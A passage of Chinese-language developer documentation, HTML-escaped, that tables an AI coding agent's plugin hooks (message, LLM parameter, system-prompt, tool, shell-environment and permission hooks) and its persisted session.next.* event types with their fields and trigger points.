&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;provider&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—（静态属性）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ProviderHook&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;注册自定义模型 Provider&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;trigger-hook-input-output-void-mo-shi-15-ge&quot;&gt;Trigger Hook（&lt;code&gt;(input, output) → void&lt;&#x2F;code&gt; 模式，15 个）&lt;&#x2F;h4&gt;
&lt;p&gt;这些 Hook 在特定执行点通过 &lt;code&gt;Plugin.trigger(name, input, output)&lt;&#x2F;code&gt; 调用，插件通过修改 &lt;code&gt;output&lt;&#x2F;code&gt; 对象来影响后续流程。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;xiao-xi-yu-llm-qing-qiu&quot;&gt;消息与 LLM 请求&lt;&#x2F;h5&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;Hook 名&lt;&#x2F;th&gt;&lt;th&gt;入参 (&lt;code&gt;input&lt;&#x2F;code&gt;)&lt;&#x2F;th&gt;&lt;th&gt;出参 (&lt;code&gt;output&lt;&#x2F;code&gt;)&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;th&gt;触发点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;chat.message&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, agent?, model?: {providerID,modelID}, messageID?, variant? }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ message, parts }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;新消息到达时（处理前），可修改用户消息内容和 parts&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;prompt.ts:999&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;chat.params&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, agent, model, provider, message }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ temperature, topP, topK, maxOutputTokens?, options }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;修改 LLM 参数（temperature、topP 等）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;request.ts:114&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;chat.headers&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, agent, model, provider, message }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ headers: Record&amp;lt;string,string&amp;gt; }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;向 LLM 请求添加自定义 HTTP 头&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;request.ts:134&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;10&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;experimental.chat.messages.transform&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{}&lt;&#x2F;code&gt;（空）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ messages: { info, parts }[] }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;修改发送给 LLM 的完整消息列表。同时在正常 prompt 和 compaction 时触发&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;prompt.ts:1255&lt;&#x2F;code&gt;, &lt;code&gt;compaction.ts:350&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;experimental.chat.system.transform&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID?, model }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ system: string[] }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;修改 system prompt 数组。&lt;strong&gt;插件向 system prompt 注入额外提示词的唯一入口&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;request.ts:69&lt;&#x2F;code&gt;, &lt;code&gt;agent.ts:381&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;gong-ju-sheng-ming-zhou-qi&quot;&gt;工具生命周期&lt;&#x2F;h5&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;Hook 名&lt;&#x2F;th&gt;&lt;th&gt;入参&lt;&#x2F;th&gt;&lt;th&gt;出参&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;th&gt;触发点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool.execute.before&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ tool, sessionID, callID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ args }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;工具执行前，可修改工具调用参数&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tools.ts:106&lt;&#x2F;code&gt;, &lt;code&gt;code-mode.ts:141&lt;&#x2F;code&gt; 等 7 处&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;13&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool.execute.after&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ tool, sessionID, callID, args }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ title, output, metadata }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;工具执行完毕后，可修改输出&#x2F;标题&#x2F;元数据&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tools.ts:121&lt;&#x2F;code&gt;, &lt;code&gt;code-mode.ts:180&lt;&#x2F;code&gt; 等 7 处&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;14&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool.definition&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ toolID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ description, parameters }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;发送给 LLM 的工具定义（描述和参数 Schema），按工具逐一调用&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;registry.ts:313&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;ming-ling-yu-shell&quot;&gt;命令与 Shell&lt;&#x2F;h5&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;Hook 名&lt;&#x2F;th&gt;&lt;th&gt;入参&lt;&#x2F;th&gt;&lt;th&gt;出参&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;th&gt;触发点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;command.execute.before&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ command, sessionID, arguments }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ parts: Part[] }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;斜杠命令执行前，可替换命令产生的 parts&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;prompt.ts:1460&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;shell.env&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ cwd, sessionID?, callID? }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ env: Record&amp;lt;string,string&amp;gt; }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;向 shell 执行环境注入额外环境变量&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool&#x2F;shell.ts:417&lt;&#x2F;code&gt;, &lt;code&gt;prompt.ts:554&lt;&#x2F;code&gt;, &lt;code&gt;pty.ts:71&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;wen-ben-ya-suo-yu-qi-ta&quot;&gt;文本、压缩与其他&lt;&#x2F;h5&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;Hook 名&lt;&#x2F;th&gt;&lt;th&gt;入参&lt;&#x2F;th&gt;&lt;th&gt;出参&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;th&gt;触发点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;17&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;experimental.text.complete&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, partID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ text }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;LLM 文本流结束时，可转换最终输出的文本&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;processor.ts:516&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;18&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;experimental.session.compacting&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ context: string[], prompt?: string }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;压缩前注入额外上下文；若设置 &lt;code&gt;prompt&lt;&#x2F;code&gt; 则替换默认压缩 prompt&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;compaction.ts:343&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;19&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;experimental.compaction.autocontinue&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, agent, model, provider, message, overflow }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ enabled: boolean }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;压缩完成后，设 &lt;code&gt;enabled: false&lt;&#x2F;code&gt; 阻止自动继续&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;compaction.ts:454&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;20&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;permission.ask&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Permission&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ status: &quot;ask&quot;|&quot;deny&quot;|&quot;allow&quot; }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;拦截权限请求，自动放行或拒绝&lt;&#x2F;td&gt;&lt;td&gt;权限服务&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;21&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;experimental.provider.small_model&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ provider }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ model? }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;覆盖 lightweight 操作（如标题生成）的 small model 选择&lt;&#x2F;td&gt;&lt;td&gt;Provider 服务&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;6-2-chi-jiu-shi-jian-32-ge-session-next&quot;&gt;6.2 持久事件（32 个，&lt;code&gt;session.next.*&lt;&#x2F;code&gt;）&lt;&#x2F;h3&gt;
&lt;p&gt;这些事件关联 &lt;code&gt;aggregateID&lt;&#x2F;code&gt;（= sessionID）和 &lt;code&gt;seq&lt;&#x2F;code&gt;，写入 &lt;code&gt;event&lt;&#x2F;code&gt; 表，支持 replay。每个事件 name 即为 &lt;code&gt;type&lt;&#x2F;code&gt; 字段值。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;事件类型&lt;&#x2F;th&gt;&lt;th&gt;关键字段&lt;&#x2F;th&gt;&lt;th&gt;对应 &lt;code&gt;session_message&lt;&#x2F;code&gt; type&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.agent.switched&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, agent }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;agent-switched&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Agent 切换&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.model.switched&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, model }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;model-switched&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;模型切换&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.moved&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, location, subdirectory? }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;Session 移动到新位置（不写 session_message）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.prompted&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, prompt, delivery }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;user&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;用户输入完成投递，将被 LLM 处理。同时写入 &lt;code&gt;session_input&lt;&#x2F;code&gt; 表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.prompt.admitted&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, prompt, delivery }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;用户输入持久化到 &lt;code&gt;session_input&lt;&#x2F;code&gt; 表（admitted，尚未 promoted）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.context.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, text }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;system&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;系统上下文更新。更新 &lt;code&gt;session_context_epoch&lt;&#x2F;code&gt; 表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.synthetic&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, text }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;synthetic&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;合成消息注入（如 compaction 后的 auto-continue）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.shell.started&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, callID, command }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;shell&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Shell 命令开始执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.shell.ended&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, callID, output }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;Shell 命令完成，更新 &lt;code&gt;shell&lt;&#x2F;code&gt; 行的 output&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;10&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.step.started&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, agent, model, snapshot? }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;assistant&lt;&#x2F;code&gt; + 关闭前一个未完成的 assistant&lt;&#x2F;td&gt;&lt;td&gt;一次 LLM 响应 step 开始（agent 循环中的一个 turn）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.step.ended&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, finish, cost, tokens, snapshot?, files? }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;更新 &lt;code&gt;assistant&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Step 完成：写入 finish、cost、tokens，同时更新 &lt;code&gt;session&lt;&#x2F;code&gt; 表的聚合值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.step.failed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, error }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;更新 &lt;code&gt;assistant&lt;&#x2F;code&gt;（finish=&quot;error&quot;）&lt;&#x2F;td&gt;&lt;td&gt;Step 因错误失败&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;13&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.text.started&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, textID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;在 assistant.content 中追加 text 块&lt;&#x2F;td&gt;&lt;td&gt;LLM 文本流开始&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;14&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.text.ended&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, textID, text }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;合并完整文本&lt;&#x2F;td&gt;&lt;td&gt;文本流完成（提供完整 replayable 值）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.reasoning.started&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, reasoningID, providerMetadata? }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;追加 reasoning 块&lt;&#x2F;td&gt;&lt;td&gt;推理流开始&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.reasoning.ended&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, reasoningID, text, providerMetadata? }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;合并完整推理文本&lt;&#x2F;td&gt;&lt;td&gt;推理流完成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;17&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.tool.input.started&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, callID, name }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;追加 tool 块（pending）&lt;&#x2F;td&gt;&lt;td&gt;工具输入流开始（LLM 开始生成工具调用参数）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;18&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.tool.input.ended&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, callID, text }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;更新 tool 输入&lt;&#x2F;td&gt;&lt;td&gt;工具输入流完成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;19&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.tool.called&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, callID, tool, input, provider }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;更新 tool state→running&lt;&#x2F;td&gt;&lt;td&gt;工具调用完整，准备执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;20&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.tool.progress&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, callID, structured, content }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;更新 tool 进度&lt;&#x2F;td&gt;&lt;td&gt;工具执行进度快照（限流，非每个 chunk）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;21&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.tool.success&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, callID, structured, content, outputPaths?, result?, provider }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;更新 tool state→completed&lt;&#x2F;td&gt;&lt;td&gt;工具执行成功&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;22&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.tool.failed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, assistantMessageID, callID, error, result?, provider }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;更新 tool state→error&lt;&#x2F;td&gt;&lt;td&gt;工具执行失败&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;23&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.retried&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, attempt, error }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—（不写 session_message）&lt;&#x2F;td&gt;&lt;td&gt;Provider 请求被重试&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;24&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.compaction.started&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, reason }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;压缩开始&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;25&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.compaction.ended&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, reason, text, recent }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;compaction&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;压缩完成：插入 compaction 行，更新 session.time_compacting。旧数据不删除&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;26&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.revert.staged&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, revert }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;回退被暂存（更新 session.revert 列）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;27&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.revert.cleared&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;暂存回退被清除&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;28&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.next.revert.committed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;回退被提交：删除 seq &amp;gt; boundary 的 session_message 和 session_input&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
